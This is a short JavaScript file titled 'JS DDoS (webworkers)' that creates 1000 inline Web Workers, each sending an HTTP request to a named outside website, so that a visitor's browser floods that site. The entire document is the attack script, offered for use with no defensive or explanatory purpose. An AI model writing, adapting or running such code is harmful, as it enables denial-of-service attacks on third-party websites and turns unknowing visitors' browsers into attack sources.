JS DDoS (webworkers)

dos_ww_cor.js

var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it

for(i=0;i<1000;i++) // let's roll
{
	var worker = new Worker(blob_url);
	worker.onmessage = function(e) { };
	worker.postMessage();
}